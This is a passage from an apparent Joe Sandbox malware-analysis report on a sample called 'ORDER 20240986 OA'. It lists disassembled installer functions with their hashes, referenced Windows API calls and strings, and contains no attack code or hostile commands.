Opcode ID: 490080f36c40cc857887dfcc980586ec4d8d3b6efbacbe7f43364465816dcdc0
Instruction ID: fee237e24528dd884eb968ec9fe2b992d97d95404874a4aff0b636c6fc76f0ef
Opcode Fuzzy Hash: 490080f36c40cc857887dfcc980586ec4d8d3b6efbacbe7f43364465816dcdc0
Instruction Fuzzy Hash: 2EC1B074E00218CFDB14DFA5C994BADBBB2BF89300F1480A9D809AB355DB359E86CF50

Function 3AC9E6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85c3712fe89120f7e1fb4b5823aceae2153f6316dffb17efa16b573aa3459f2d
Instruction ID: bac27b55fd2088b905554379cd106c2f1d0bcb858f75cda641cb83f40f11c023
Opcode Fuzzy Hash: 85c3712fe89120f7e1fb4b5823aceae2153f6316dffb17efa16b573aa3459f2d
Instruction Fuzzy Hash: EDC19D74E01218CFDB54DFA5C994BDDBBB2AF89300F1081A9D809AB365DB359E86CF50

Function 3AC9E258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43fa9aac96a95e080e80b9da58b2d7903b91fe63ff80f8a3feab28507e8d66fb
Instruction ID: 98cc6ba4f9e5647e34ea924d8fd639e705069b344a2385249fa02f8a32039937
Opcode Fuzzy Hash: 43fa9aac96a95e080e80b9da58b2d7903b91fe63ff80f8a3feab28507e8d66fb
Instruction Fuzzy Hash: EDC1AE78E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D409AB365DB359E86CF50

Function 3AC9F3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b99f30ca261d82fa1f94037e52ef93e5b66ac6a17f262fdfc456869ff052298
Instruction ID: cd2614d582065e19ecce63002773cb4365d2c58a0c7daa08d876d7b90afbec4e
Opcode Fuzzy Hash: 2b99f30ca261d82fa1f94037e52ef93e5b66ac6a17f262fdfc456869ff052298
Instruction Fuzzy Hash: 64C19078E01218CFDB54DFA5C994BDDBBB2AF89300F1081A9D409AB365DB359E86CF50

Function 3AC9EF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 356cf389133e9514a80af2b86567eba13f1239db57aaf7e89c86e78912afaf8c
Instruction ID: cc7b19e1c17faf8ddb730a31fef1927673c65a123f59850e012a3ec9e1cc4a0c
Opcode Fuzzy Hash: 356cf389133e9514a80af2b86567eba13f1239db57aaf7e89c86e78912afaf8c
Instruction Fuzzy Hash: 2EC1AF74E01218CFDB54DFA5C994B9DBBB2BF89300F1480A9D809AB365DB359E86CF50

Function 3AC9EB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2c8846cd1df3ca795dedb2a720a68b7e0e02d5f0c245b6174735e88a4698bc
Instruction ID: b2afaf08c9acae24e2ef5f3d57712e1bdf62e4ba792e841f054c7d4017da141b
Opcode Fuzzy Hash: 8c2c8846cd1df3ca795dedb2a720a68b7e0e02d5f0c245b6174735e88a4698bc
Instruction Fuzzy Hash: DFC19E74E01218CFDB54DFA5C994BDDBBB2AF89300F1081A9D809AB365DB359E86CF50

Function 0015F2C0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40f4eeb28eb7ab2548f26990f2eed62963e5c20a1f8083419e4255b3a874167c
Instruction ID: 0aa4f3b4a8b181eae28aabb82895d3f457e13765802dadc599dea74ac794354f
Opcode Fuzzy Hash: 40f4eeb28eb7ab2548f26990f2eed62963e5c20a1f8083419e4255b3a874167c
Instruction Fuzzy Hash: 55514670D01208CBDB04DFA8D5587EEBBB2FB89301F249129D8247F295DB75A88ACF50

Function 0015F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf0df9b10cfeb114de5717e67e3be94b05c6cf54f3e69041474efc722100387
Instruction ID: 165dea56900fa6f41edbd2290c946e762bf902790fb51b5602a666efe8e7934d
Opcode Fuzzy Hash: fbf0df9b10cfeb114de5717e67e3be94b05c6cf54f3e69041474efc722100387
Instruction Fuzzy Hash: D6512470D01208CBDB14DFA8D4987EEBBB2FB48302F209529D825BF295D775988ACF50

Function 0040543E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040549C
GetDlgItem.USER32(?,000003EE), ref: 004054AB
GetClientRect.USER32(?,?), ref: 004054E8
GetSystemMetrics.USER32(00000002), ref: 004054EF
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405510
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405521
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405534
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405542
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405555
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405577
ShowWindow.USER32(?,00000008), ref: 0040558B
GetDlgItem.USER32(?,000003EC), ref: 004055AC
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055BC
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055D5
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055E1
GetDlgItem.USER32(?,000003F8), ref: 004054BA

Part of subcall function 00404243: SendMessageW.USER32(00000028,?,?,0040406E), ref: 00404251

GetDlgItem.USER32(?,000003EC), ref: 004055FE
CreateThread.KERNEL32(00000000,00000000,Function_000053D2,00000000), ref: 0040560C
CloseHandle.KERNEL32(00000000), ref: 00405613
ShowWindow.USER32(00000000), ref: 00405637
ShowWindow.USER32(?,00000008), ref: 0040563C
ShowWindow.USER32(00000008), ref: 00405686
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056BA
CreatePopupMenu.USER32 ref: 004056CB
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056DF
GetWindowRect.USER32(?,?), ref: 004056FF
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405718
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405750
OpenClipboard.USER32(00000000), ref: 00405760
EmptyClipboard.USER32 ref: 00405766
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405772
GlobalLock.KERNEL32(00000000), ref: 0040577C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405790
GlobalUnlock.KERNEL32(00000000), ref: 004057B0
SetClipboardData.USER32(0000000D,00000000), ref: 004057BB
CloseClipboard.USER32 ref: 004057C1

Strings

{, xrefs: 004056A4

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 17a21c63557b4cf9ffe78a5fd5086114b1c8428fb936cdfcd18ae7c9549b7d0c
Instruction ID: e2c232b37aba284685acfefcf9c5e68312cc9a4ea8bcb72f9f75ba3fcde89da4
Opcode Fuzzy Hash: 17a21c63557b4cf9ffe78a5fd5086114b1c8428fb936cdfcd18ae7c9549b7d0c
Instruction Fuzzy Hash: 0EB15871900608FFDB119FA0DD89EAE7B79FB48354F00812AFA44BA1A0CB795E51DF58

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D71
ShowWindow.USER32(?), ref: 00403D8E
DestroyWindow.USER32 ref: 00403DA2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DBE
GetDlgItem.USER32(?,?), ref: 00403DDF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DF3
IsWindowEnabled.USER32(00000000), ref: 00403DFA
GetDlgItem.USER32(?,?), ref: 00403EA8
GetDlgItem.USER32(?,00000002), ref: 00403EB2
SetClassLongW.USER32(?,000000F2,?), ref: 00403ECC
SendMessageW.USER32(0000040F,00000000,?), ref: 00403F1D
GetDlgItem.USER32(?,00000003), ref: 00403FC3
ShowWindow.USER32(00000000,?), ref: 00403FE4
EnableWindow.USER32(?,?), ref: 00403FF6
EnableWindow.USER32(?,?), ref: 00404011
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404027
EnableMenuItem.USER32(00000000), ref: 0040402E
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404046
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404059
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404083
SetWindowTextW.USER32(?,007A1F20), ref: 00404097
ShowWindow.USER32(?,0000000A), ref: 004041CB

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: ee67474a1a288a69095d81a28a6b41206e342fd1b930cad1f65484e832d6543b
Instruction ID: db2580999c41c4fe450d1ee4fd1a55221d51bf0aef153e7307bc2b2ec56299a6
Opcode Fuzzy Hash: ee67474a1a288a69095d81a28a6b41206e342fd1b930cad1f65484e832d6543b
Instruction Fuzzy Hash: 3FC1DEB2504200AFDB206F61ED48E2B3AA8EB9A745F01453FF651B11F0CB399991DB5E

Function 00403987 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

lstrcatW.KERNEL32(007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,007B5800,74DF3420,007B3000,00000000), ref: 00403A08
lstrlenW.KERNEL32(007A69C0,007B3800,?,?,007A69C0,00000000,007B3800,007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,007B5800), ref: 00403A88
lstrcmpiW.KERNEL32(007A69B8,.exe,007A69C0,007B3800,?,?,007A69C0,00000000,007B3800,007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A9B
GetFileAttributesW.KERNEL32(007A69C0), ref: 00403AA6
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,007B3800), ref: 00403AEF

Part of subcall function 004061DE: wsprintfW.USER32 ref: 004061EB

RegisterClassW.USER32(007A79C0), ref: 00403B2C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B44
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B79
ShowWindow.USER32(00000005), ref: 00403BAF
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BDB
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BE8
RegisterClassW.USER32(007A79C0), ref: 00403BF1
DialogBoxParamW.USER32(?,00000000,00403D35,00000000), ref: 00403C10

Strings

.DEFAULT\Control Panel\International, xrefs: 004039F3
RichEd32, xrefs: 00403BC3
_Nb, xrefs: 00403B0B, 00403B73
Control Panel\Desktop\ResourceLocale, xrefs: 004039BB
RichEdit20W, xrefs: 00403BD3, 00403BD9
.exe, xrefs: 00403A95
RichEdit, xrefs: 00403BE2
RichEd20, xrefs: 00403BB5

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: 123c00e8e8eae349a6b6ffc178d207f9f8b23400aead47fb4df4bed5afc77f76
Instruction ID: fbef4646fbcf09e2f3785bbd11e1a9055ea34cd93d2d0ed92f9d0f486109358d
Opcode Fuzzy Hash: 123c00e8e8eae349a6b6ffc178d207f9f8b23400aead47fb4df4bed5afc77f76
Instruction Fuzzy Hash: 4D61B434200700AED320AF669D45F2B3A6CEB86745F40857FF941B51E2DB7D6901CB2D

Function 004043CD Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 0040446B
GetDlgItem.USER32(?,000003E8), ref: 0040447F
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 0040449C
GetSysColor.USER32(?), ref: 004044AD
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044BB
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044C9
lstrlenW.KERNEL32(?), ref: 004044CE
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044DB
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044F0
GetDlgItem.USER32(?,0000040A), ref: 00404549
SendMessageW.USER32(00000000), ref: 00404550
GetDlgItem.USER32(?,000003E8), ref: 0040457B
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045BE
LoadCursorW.USER32(00000000,00007F02), ref: 004045CC
SetCursor.USER32(00000000), ref: 004045CF
LoadCursorW.USER32(00000000,00007F00), ref: 004045E8
SetCursor.USER32(00000000), ref: 004045EB
SendMessageW.USER32(00000111,?,00000000), ref: 0040461A
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040462C

Strings

N, xrefs: 00404569
DC@, xrefs: 004045D7

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: DC@$N
API String ID: 3103080414-4075224758
Opcode ID: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction ID: 7c305bb631aa8564409a9791ba7e53f932479190766108f73685c8e55a50eb1d
Opcode Fuzzy Hash: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction Fuzzy Hash: 3B61A0B1900209BFDF10AF60DD45AAA7B69FB85344F00843AF701B61E0D77DA951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Function 00405EE3 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,00000000,00000000,?,?,0040607E,?,?), ref: 00405F1E
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405F27

Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D34

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F44
wsprintfA.USER32 ref: 00405F62
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?), ref: 00405F9D
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405FAC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405FE4
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040603A
GlobalFree.KERNEL32(00000000), ref: 0040604B
CloseHandle.KERNEL32(00000000), ref: 00406052

Part of subcall function 00405D8D: GetFileAttributesW.KERNEL32(007B6800,00402F1D,007B6800,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Strings

%ls=%ls, xrefs: 00405F58
[Rename], xrefs: 00405FCC, 00405FDE

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 8e2ef562050374cbdee482ce01d0fc4b650d83fac470073e0dfd2f2c2df1a008
Instruction ID: 42876e8bd8e74e9ce15c52ab3024c97c29192655820983ae090f8c600f4dcad6
Opcode Fuzzy Hash: 8e2ef562050374cbdee482ce01d0fc4b650d83fac470073e0dfd2f2c2df1a008
Instruction Fuzzy Hash: 25312530240B156BD220BB218D48F6B3A9DEF86744F15003AFA42F62D1EA7DD8148ABD

Function 0040336C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 80stringCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 0040338F
GetVersion.KERNEL32 ref: 00403395
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033C8

Strings

UXTHEME, xrefs: 004033BC, 004033C1, 004033C7
NSIS Error, xrefs: 0040342E

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ErrorModeVersionlstrlen
String ID: NSIS Error$UXTHEME
API String ID: 758611499-110662866
Opcode ID: 216c36faef8c5c050b55b88396924ad1417f673f7408521f9ddb59849cb913ab
Instruction ID: a84716d26b240927f2f501cde0935ca932456bd970f48cf256b7861c77eac06c
Opcode Fuzzy Hash: 216c36faef8c5c050b55b88396924ad1417f673f7408521f9ddb59849cb913ab
Instruction Fuzzy Hash: FF218071500700ABD7207F61AE49B1B3AA8AB81705F01843FF981B62E2DF7D49558B6E

Function 004046FF Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040474E
SetWindowTextW.USER32(00000000,?), ref: 00404778
SHBrowseForFolderW.SHELL32(?), ref: 00404829
CoTaskMemFree.OLE32(00000000), ref: 00404834
lstrcmpiW.KERNEL32(007A69C0,007A1F20,00000000,?,?), ref: 00404866
lstrcatW.KERNEL32(?,007A69C0), ref: 00404872
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404884

Part of subcall function 004058E1: GetDlgItemTextW.USER32(?,?,00000400,004048BB), ref: 004058F4

Part of subcall function 0040652B: CharNextW.USER32(?,*?|<>/":,00000000,00000000,007B5800,007B5800,007B3000,00403347,007B5800,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
Part of subcall function 0040652B: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
Part of subcall function 0040652B: CharNextW.USER32(?,00000000,007B5800,007B5800,007B3000,00403347,007B5800,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
Part of subcall function 0040652B: CharPrevW.USER32(?,?,007B5800,007B5800,007B3000,00403347,007B5800,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,?,0079FEF0,?,?,000003FB,?), ref: 00404947
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404962

Part of subcall function 00404ABB: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
Part of subcall function 00404ABB: wsprintfW.USER32 ref: 00404B65
Part of subcall function 00404ABB: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

A, xrefs: 00404822

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: f17bf99eb9744ef0591981256be4ea8978b4dd8b1bc8bb353c7e53d074d4b920
Instruction ID: d6689dd06746f62e3dccefeeeb603cce7d7bc9c76077680089f181f5c68842d6
Opcode Fuzzy Hash: f17bf99eb9744ef0591981256be4ea8978b4dd8b1bc8bb353c7e53d074d4b920
Instruction Fuzzy Hash: DFA190F1900209ABDB11AFA5CD41AAFB7B8EF85304F10843BF611B62D1D77C99418B6D

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(007A69C0,00000400), ref: 004063FA
GetWindowsDirectoryW.KERNEL32(007A69C0,00000400,00000000,007A0F00,?,00405336,007A0F00,?), ref: 0040640D
SHGetSpecialFolderLocation.SHELL32(6S@,?,00000000,007A0F00,?,00405336,007A0F00,?), ref: 00406449
SHGetPathFromIDListW.SHELL32(?,007A69C0), ref: 00406457
CoTaskMemFree.OLE32(?), ref: 00406462
lstrcatW.KERNEL32(007A69C0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406488
lstrlenW.KERNEL32(007A69C0,00000000,007A0F00,?,00405336,007A0F00,?), ref: 004064E0

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406482
6S@, xrefs: 0040643F, 0040642B
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063CA

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
